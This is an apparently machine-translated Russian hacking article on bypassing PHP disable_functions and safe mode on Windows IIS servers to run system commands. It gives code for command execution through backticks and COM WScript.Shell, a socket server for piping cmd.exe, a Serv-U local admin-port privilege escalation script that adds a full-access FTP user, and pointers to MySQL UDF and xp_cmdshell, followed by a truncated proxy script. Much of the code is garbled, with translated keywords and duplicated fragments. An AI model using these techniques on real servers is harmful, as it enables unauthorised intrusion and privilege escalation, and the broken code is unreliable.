При переходе от WIN2000 к WIN XP, а затем к WIN2003 улучшение безопасности сервера MS IIS очевидно. В WIN2000 его может победить обычная PHP SHELL; в WIN XP, даже если безопасный режим выключен, вы не можете использовать такие функции, как system(), для выполнения системных команд, но мы все равно можем использовать функцию com() для прорыва; Начиная с WIN 2003, даже если IIS и PHP установлены по умолчанию, вы не сможете использовать system() или com() для их устранения. В это время вам придется использовать некоторые новые методы, чтобы совершить прорыв.
1. Прорыв в отключении_функций
В php-4.0.1 и выше в php.ini появилась функция отключений_функций. Эта функция весьма полезна и может использоваться для отключения некоторых функций. Например, если вы добавите Disable_functions = passthru exec system popen в php.ini, то при выполнении этих функций вам будет предложено предупреждение: system() отключена по соображениям безопасности, и программа завершится. Но нет возможности выполнять системные команды. Например, поскольку PHP использует множество функций Perl, вы также можете использовать (`) для выполнения команд. Пример кода выглядит следующим образом:
<?$output = `ls -al`;echo "<pre>$output</pre>. ";?>
Говорят, что этого можно избежать, только включив безопасный_режим, но последний раз, когда я его использовал на чужом сервере, все равно не получилось. Людям не всегда так везет:)
2.При
применении дл( ) функция
Если невозможно использовать какие-либо внутренние номера выполнения команд PHP и '', вы можете попробовать dl(). Этот метод можно использовать только с безопасным режимом = выключенным, поскольку он отключен в безопасном режиме. Используя dl(), вы можете напрямую вызвать функцию W32api. К сожалению, это расширение было перенесено в библиотеку PECL и больше не привязано, начиная с PHP 5.1.0 или ниже. Ниже приведен пример из руководства:
// Загрузите это расширение
dl("php_w32api.dll");
// Зарегистрируйте функцию GetTickCount из kernel32.dll
w32api_register_function("kernel32.dll",
"GetTickCount",
"long"). ;
// Регистрируем функцию MessageBoxA из User32.dll
w32api_register_function("User32.dll",
"MessageBoxA",
"long");
// Получаем информацию о времени загрузки
$ticks = GetTickCount();
// Преобразуем в понятный формат; text
$secs = Floor ($ticks/1000);
$mins = Floor($secs/60);
$hours = Floor($mins/60);
$str = sprintf("Вы использовали свой компьютер:".
"rn %d миллисекунд или rn %d секунд".
"или rn %d минут илиrn %d часов %d минут.",
$ticks,
$secs,
$mins
.,
$hours,
$mins - ($hours*60));
// Отображение диалогового окна с кнопкой ОК и текстом времени загрузки
MessageBoxA(NULL,
$str,
"Информация о времени работы",
MB_OK
)
;
Я пока в этом не разбираюсь. У меня хорошее представление о dl() и W32api, поэтому я не буду приводить случайные примеры, чтобы не вводить читателей в заблуждение.
3. Применение функций COM и .Net (Windows)
COM (объектная модель компонентов) — это спецификация программного обеспечения, разработанная Microsoft. Она используется для разработки объектно-ориентированных и скомпилированных компонентов программного обеспечения. Она позволяет абстрагировать программное обеспечение на двоичные компоненты. в основном используется на платформе Windows.
Версия PHP для Windows уже имеет встроенную поддержку этого модуля расширения. Для использования функций COM нет необходимости загружать какие-либо дополнительные библиотеки расширений. Его использование аналогично синтаксису создания класса в C++ или Java, а имя класса COM передается конструктору в качестве параметра. Например, используйте «WScript.Shell» в PHP для выполнения системных команд:
$cmd="E:/cert/admin/psexec.exe";
if($com=new COM("WScript.Shell")) echo "yes" " ;
if(!$cmd1=$com->exec($cmd))
{
echo "невозможно выполнить()";
}
if(!$cmd2=$cmd1->stdout())
{
echo "невозможно выполнить stdout( ) ";
}
if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>
На рисунке 1 показан пример, который я написал для выполнения psexec.exe.
Значение этого кода точно такое же, как и у ASP. Конечно, вы также можете вызвать «ADODB.Connection», как ASP. Используя этот компонент в сочетании с уязвимостью переполнения jet2, вы можете получить оболочку под PHP Saft. режим = ВКЛ.
//создаем соединение с базой данных
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");
$ conn->Open($dsn);
//извлекаем данные через строку SQL
$rs = $conn->Execute("выбрать клиентов из сети");
…..
?>
Функция .Net может работать только на PHP 5, Of конечно, для этого требуется поддержка «.Net runtime», а это экспериментальный модуль PHP, который еще не полностью функционален, поэтому я не буду его здесь обсуждать.
4. Применение функции Java().
Этот метод подходит для включенного безопасного режима. Чтобы использовать сервер модуля JAVA, необходимо заранее установить виртуальную машину Java и включить опцию with-java во время установки и настройки PHP. Код следующий:
[JAVA]
; Это путь к php_java.jar
; java.class.path = . php_java.jar
;JDK путь
;Java.home = f:jdk1.3.0
;Путь к виртуальной машине
;Java.library=f:jdk1.3.0jrebinhostspotjvm .dll
аналогичен COM. Чтобы создать класс в Java (а не только в JavaBeans), просто передайте имя класса JAVA в качестве параметра конструктору. Вот пример из руководства:
// Этот пример предназначен только для запуска как CGI.
$frame = new Java('java.awt.Frame', 'PHP');
$button = new Java('java. awt.Button', 'Привет, мир Java!');
$frame->add('North', $button);
$frame->validate()
;
$frame->visible = True ;
$thread = new Java('java.lang.Thread');
$thread->sleep(10000);
$frame->dispose();
?>
К сожалению, не так уж много PHP-серверов действительно поддерживают JAVA. в Нет необходимости много обсуждать это.
5. Применение функции socket()
Socket — чрезвычайно мощный модуль PHP. Если вы используете высокоуровневый абстрактный интерфейс (сокет, открываемый функциями fsockopen() и psockopen), вам не нужно открывать «php_sockets.dll». из. Но если вы хотите использовать полный функциональный блок сокета, вы должны установить его в php.ini следующим образом:
; Расширения Windows
; Обратите внимание, что поддержка MySQL и ODBC теперь встроена, поэтому для этого не требуется никакая dll
.
; Удалите следующее предложение. Точка с запятой в начале
; Extension=php_sockets.dll
использует функциональный блок сокетов PHP для реализации перенаправления/перенаправления портов, перехвата пакетов, локального переполнения и других функций. Более того, его также можно использовать для создания TCP/UDP-сервера. В то же время я думаю, что это лучший способ взломать политику безопасности сервера. Ниже приведен пример открытия порта на сервере для создания TCP-сервера. Вы можете использовать его для объединения серверного cmd.exe:
//Создаем TCP-сервис на сервере
//Этот пример требует поддержки php_sockets.dll.
//После выполнения вы можете использовать «telnet 127.0.0.1 1020» для подключения
error_reporting(E_ALL);
/* Разрешить сценарию зависать в ожидании соединений */
set_time_limit(0
/* Включите неявную очистку вывода, чтобы мы могли видеть
.что мы получаем
* по мере поступления. */
ob_implicit_flush();
// Привязываем IP и порт на сервере
$address = '127.0.0.1';
$port = 1020;
if (($sock =ocket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
echo "socket_create() не удалось: причина: " . socket_strerror($sock) "n"
}
if (($ret =ocket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() не удалось: причина: " .ocket_strerror($ret) . "n"
}
if (($ret =ocket_listen($sock, 5)) < 0) {
echo "socket_listen() не удалось: причина: " .ocket_strerror($ret) . "n";
}
do {
if (($msgsock =ocket_accept($sock)) < 0) {
echo "socket_accept() не удалось: причина: " .socket_strerror($ msgsock) . " n";
Break;
}
/* Отправьте инструкции. */
$msg = "nДобро пожаловать на тестовый сервер PHP. n"
"Чтобы выйти, введите 'quit'. Чтобы выключить сервер, введите '. Shutdown'. n";
Socket_write($msgsock, $msg, strlen($msg));
do {
if (false ===ocket_recv($msgsock, $buf, 1024, 0)) {
echo "socket_read() не удалось : причина: " . Socket_strerror($ret) . "n";
перерыв 2;
}
if (!$buf = Trim($buf)) {
продолжить;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
ocket_close($msgsock);
break 2;
$
talkback
= "PHP: Вы сказали '$buf'.n";
));
echo "$bufn";
//Следующее обрабатывает полученный buf
/*eg: например
$buf="cmd.exe /c netstat –an";
$pp = popen('$buf ', ' r');
While ($read = fgets($pp, 2096))
echo $read;
pclose
($pp);
*/
} while (true
)
;
sock);
?>
На самом деле, многие хосты не загружают php_sockets.dll. К счастью, нам достаточно функции «fsockopen», которая не требует поддержки модуля сокета. Потому что пока есть «fsockopen», мы можем свободно читать и записывать порты на этой машине, которые не открыты для внешнего мира. Типичным примером является использование fsockopen для чтения и записи локального порта управления 43958 serv-u (примечание: этот порт нельзя подключить извне) для повышения привилегий:
$adminuser="LocalAdministrator";
$adminpass=" #l@$ak#; .lk;0@P ”;
$adminport=" 43958";
$fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8);
if (!$fp) {
echo "$errstr ( $errno)
n";
} else {
//$shellcode можно записать
// fputs ($fp, $shellcode);
fputs ($fp, "USER ".$adminuser."rn");
Sleep ( 1);
fputs ($fp, "PASS".$adminpass.rn");
fputs
($fp, "ОБСЛУЖИВАНИЕ САЙТАrn");
fputs
(1);
$fp, "-SETUSERSETUPrn");
fputs ($fp, "-IP=".$addr."rn");
fputs ($fp, "-PortNo=".$ftpport."); rn");
fputs ($fp, "-User=".$user."rn");
fputs ($fp, "-Password=".$password."rn") ;
fputs ($fp, "-HomeDir=".$homedir."rn");
fputs ($fp,
"-LoginMesFile=rn");
rn");
fputs ($fp, "-RelPaths=0rn");
fputs ($fp, "-NeedSecure=0rn");
fputs ($fp, "-HideHidden=0 rn");
fputs ($fp, "-AlwaysAllowLogin=0rn");
fputs ($fp, "-ChangePassword=1rn");
fputs ($fp, "-QuotaEnable= 0rn");
fputs ($fp, "-MaxUsersLoginPerIP=-1rn");
fputs ($fp, "-SpeedLimitUp=-1rn");
fputs ($fp, " -SpeedLimitDown=-1rn");
fputs ($fp, "-MaxNrUsers=-1rn");
fputs ($fp, "-IdleTimeOut=600rn");
fputs ($ fp, "-SessionTimeOut=-1rn");
fputs ($fp, "-Expire=0rn");
fputs
($fp, "-RatioUp=1rn");
($fp, "-RatioDown=1rn");
fputs ($fp, "-RatiosCredit=0rn");
fputs ($fp, "-QuotaCurrent=0rn");
fputs ($fp, "-QuotaMaximum=0rn");
fputs ($fp, "-Maintenance=Systemrn");
fputs ($fp, "-PasswordType=Regularrn") ;
fputs ($fp, "-Ratios=Nonern");
fputs ($
fp, " Access=".$homedir."|RWAMELCDPrn");
n");
Sleep (1);
while (!feof($fp)) {
echo fgets ($fp, 128);
}
}
?>
Вы также можете использовать fsockopen для написания HTTP-прокси для доступа к внешней сети или локальный компьютер Веб-сайты, доступные извне. У меня есть полноценный HTTPProxy (рис. 4) с длинным кодом. Заинтересованные читатели могут посмотреть.
6. Интерфейс MYSQL/MSSQL
отличается от Linux тем, что MySQL/MSSQL под Windows обычно запускается от имени системного администратора. Поэтому, если вы можете получить пароль root/sa в локальной базе данных SQL, вы можете использовать его напрямую. PHP подключается к базе данных для выполнения системных команд.
Выполнение системных команд в Mysql требует использования уязвимости пользовательской функции «Динамическая библиотека MySQL UDF». В MSSQL, пока вы подключаетесь к базе данных, вы можете напрямую вызывать расширенную команду выполнения «master..xp_cmdshell». Разрешения, конечно, являются системными разрешениями.
Подводя итог: из-за разных версий системы, IIS и PHP вышеупомянутые методы прорыва могут измениться. PHP также имеет множество расширенных функций, которые можно использовать. Вы можете выйти из функций выполнения системных команд system(). пробейтесь сквозь ограничения политики безопасности системы!
Прилагается код proxy.php
error_reporting(E_ALL);
/*
// Эта программа является свободным программным обеспечением, вы можете распространять ее и/или
// изменять в соответствии с условиями Стандартной общественной лицензии GNU,
// опубликованной свободным программным обеспечением; Foundation; либо версия 2
// Лицензии, либо (по вашему выбору) любая более поздняя версия
//
// Эта программа распространяется в надежде, что она окажется полезной,
// но БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, даже без подразумеваемой гарантии;
// КОММЕРЧЕСКАЯПРИГОДНОСТЬ
или ПРИГОДНОСТЬ ДЛЯ ОПРЕДЕЛЕННОЙ ЦЕЛИ
Дополнительную информацию см. в // Стандартной общественной лицензии GNU.
//
// Вы должны были получить копию Стандартной общественной лицензии GNU
// вместе с этой программой. Если нет, напишите; к бесплатному программному обеспечению
// Foundation, Inc., 59 Temple Place – Suite 330, Boston, MA 02111-1307, США
//---------------------
.----- --------------------------------------------- --
// Класс: PHProxy
// Автор: Ultimategamer00 (Абдулла А.)
// Последнее изменение: 18:28 22.06.2004
*/
function __stripslashes($str)
{
return get_magic_quotes_gpc() ? : $str;
}
if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM'); tr
($str, $alpha[0], $alpha[1] );
}
}
class PHProxy
{
var $allowed_hosts = array();
var $
script_url;
var
$url_segments;
var $flags = array('include_form' => 1, ' Remove_scripts' => 1, 'accept_cookies' => 1, 'show_images' => 1, 'show_referer' => 1);
вар
$content_type;
вар $post_body;
вар
$
response_headers;
response_body;
function PHProxy($flags = 'previous')
{
$this->version = '0.2';
$this->script_url = 'http'
. (isset(
function set_request_headers()
{
$headers = " " . (isset( $this->url_segments ['query']) ? "?" : '') . " HTTP/1.0rn";
$
headers .= "Хост: :rn";
-Агент: Mozilla/ 4.0 (совместимый; MSIE 6.0; Windows NT 5.1)rn";
$headers .= "Принять: text/xml, application/xml, application/xhtml+xml, text/html q=0.9; , text/plain; q=0.8, video/x-mng, image/png, image/jpeg, image/gif; q=0.2, */*; q=0.1rn";
$headers .= "Соединение : closer n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: rn";
}
$cookies = $this->get_cookies();
$headers .= $ cookies != '' ? "Cookie: $cookiesrn" : '';
if (
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query') ]) ? "?" : '') . " HTTP/1.0rn";
$headers .= "Хост: :rn";
$headers .= "Агент пользователя: Mozilla/4.0 (совместимый; MSIE 6.0; Windows NT 5.1)rn";
$headers .= "Принять: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, video/x-mng , image/png, image/jpeg, image/gif;q=0.2,*/*;q=0.1rn";
$headers .= "Соединение: закрытьrn";
if ($this-> flags['show_referer'] == 1)
{
$headers .= "Referer: rn"
}
$cookies = $this->get_cookies();
$headers .= $cookies != ' ' ? "Куки: $cookiesrn" : '';
if (